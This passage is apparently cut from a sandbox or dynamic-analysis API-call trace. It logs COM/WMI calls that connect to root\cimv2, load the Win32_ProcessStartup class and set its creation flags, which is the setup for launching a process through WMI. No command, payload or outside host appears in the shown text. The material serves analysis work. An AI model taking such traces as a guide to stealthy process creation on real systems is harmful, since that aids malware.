riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c000de0) returned 0x0 [0078.733] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c000de0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bfbba20) returned 0x0 [0078.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbba20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96d20) returned 0x0 [0078.940] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96d20, pProxy=0x1bfbba20, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0078.940] WbemLocator:IUnknown:Release (This=0x1bf96d20) returned 0x1 [0078.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbba20, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96d60) returned 0x0 [0078.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbba20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96d20) returned 0x0 [0078.941] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96d20, pProxy=0x1bfbba20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.941] WbemLocator:IUnknown:Release (This=0x1bf96d20) returned 0x2 [0078.941] WbemLocator:IUnknown:Release (This=0x1bf96d60) returned 0x1 [0078.941] CoTaskMemFree (pv=0x1bf9a870) [0078.941] WbemLocator:IUnknown:AddRef (This=0x1bfbba20) returned 0x2 [0078.941] WbemLocator:IUnknown:Release (This=0x1c000de0) returned 0x0 [0078.941] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0078.942] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0078.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbba20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96d30) returned 0x0 [0078.942] WbemLocator:IRpcOptions:Query (in: This=0x1bf96d30, pPrx=0x1c000e40, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0078.942] WbemLocator:IUnknown:Release (This=0x1bf96d30) returned 0x2 [0078.942] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0078.942] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0078.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbba20, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bfbba20) returned 0x0 [0078.942] WbemLocator:IUnknown:Release (This=0x1bfbba20) returned 0x2 [0078.942] SysStringLen (param_1=0x0) returned 0x0 [0078.942] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbca80, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0078.942] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbca80, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0078.942] IWbemServices:GetObject (in: This=0x1bfbba20, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1170e70, ppCallResult=0x0) returned 0x0 [0078.944] IWbemClassObject:Get (in: This=0x1170e70, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0078.944] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0078.944] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0078.944] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0078.944] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0078.944] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0078.944] IUnknown:Release (This=0x111f638) returned 0x1 [0078.946] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c000de0) returned 0x0 [0078.946] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000de0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0078.947] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000de0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bfbcc00) returned 0x0 [0078.947] WbemDefPath:IUnknown:Release (This=0x1c000de0) returned 0x0 [0078.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bfbcc00) returned 0x0 [0078.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0078.947] WbemDefPath:IUnknown:AddRef (This=0x1bfbcc00) returned 0x3 [0078.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0078.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0078.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c000e00) returned 0x0 [0078.947] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000e00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.947] WbemDefPath:IUnknown:Release (This=0x1c000e00) returned 0x3 [0078.947] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0078.947] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0078.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0078.947] WbemDefPath:IUnknown:Release (This=0x1bfbcc00) returned 0x2 [0078.947] WbemDefPath:IUnknown:Release (This=0x1bfbcc00) returned 0x1 [0078.948] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0078.948] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0078.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcc00, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bfbcc00) returned 0x0 [0078.948] WbemDefPath:IUnknown:AddRef (This=0x1bfbcc00) returned 0x3 [0078.948] WbemDefPath:IUnknown:Release (This=0x1bfbcc00) returned 0x2 [0078.948] WbemDefPath:IWbemPath:SetText (This=0x1bfbcc00, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0078.948] IWbemClassObject:Get (in: This=0x1170e70, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a96d68*=0, plFlavor=0x2a96d6c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a96d68*=19, plFlavor=0x2a96d6c*=0) returned 0x0 [0078.948] IWbemClassObject:Get (in: This=0x1170e70, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a96d68*=19, plFlavor=0x2a96d6c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a96d68*=19, plFlavor=0x2a96d6c*=0) returned 0x0 [0078.948] IWbemClassObject:Put (This=0x1170e70, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0078.948] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc9c0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0078.948] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0078.948] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0078.948] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.948] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0078.948] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0078.948] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0078.948] IUnknown:Release (This=0x111f638) returned 0x1 [0078.950] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c000fa0) returned 0x0 [0078.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000fa0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0078.950] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000fa0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bfbccc0) returned 0x0 [0078.951] WbemDefPath:IUnknown:Release (This=0x1c000fa0) returned 0x0 [0078.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bfbccc0) returned 0x0 [0078.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0078.951] WbemDefPath:IUnknown:AddRef (This=0x1bfbccc0) returned 0x3 [0078.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0078.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0078.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c000fe0) returned 0x0 [0078.951] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000fe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.951] WbemDefPath:IUnknown:Release (This=0x1c000fe0) returned 0x3 [0078.951] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0078.951] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0078.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0078.951] WbemDefPath:IUnknown:Release (This=0x1bfbccc0) returned 0x2 [0078.951] WbemDefPath:IUnknown:Release (This=0x1bfbccc0) returned 0x1 [0078.951] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0078.951] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0078.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbccc0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bfbccc0) returned 0x0 [0078.952] WbemDefPath:IUnknown:AddRef (This=0x1bfbccc0) returned 0x3 [0078.952] WbemDefPath:IUnknown:Release (This=0x1bfbccc0) returned 0x2 [0078.952] WbemDefPath:IWbemPath:SetText (This=0x1bfbccc0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0078.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0078.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0078.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.952] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0078.952] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0078.952] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0078.952] IUnknown:Release (This=0x111f638) returned 0x1 [0078.953] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c0010e0) returned 0x0 [0078.953] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0010e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0078.953] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0010e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c001100) returned 0x0 [0078.953] WbemLocator:IUnknown:Release (This=0x1c0010e0) returned 0x0 [0078.953] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c001100) returned 0x0 [0078.953] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0078.954] WbemLocator:IUnknown:AddRef (This=0x1c001100) returned 0x3 [0078.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0078.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0078.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0078.954] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0078.954] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0078.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0078.954] WbemLocator:IUnknown:Release (This=0x1c001100) returned 0x2 [0078.954] WbemLocator:IUnknown:Release (This=0x1c001100) returned 0x1 [0078.954] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0078.954] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0078.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c001100) returned 0x0 [0078.954] WbemLocator:IUnknown:AddRef (This=0x1c001100) returned 0x3 [0078.954] WbemLocator:IUnknown:Release (This=0x1c001100) returned 0x2 [0078.954] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0078.954] WbemDefPath:IWbemPath:GetText (in: 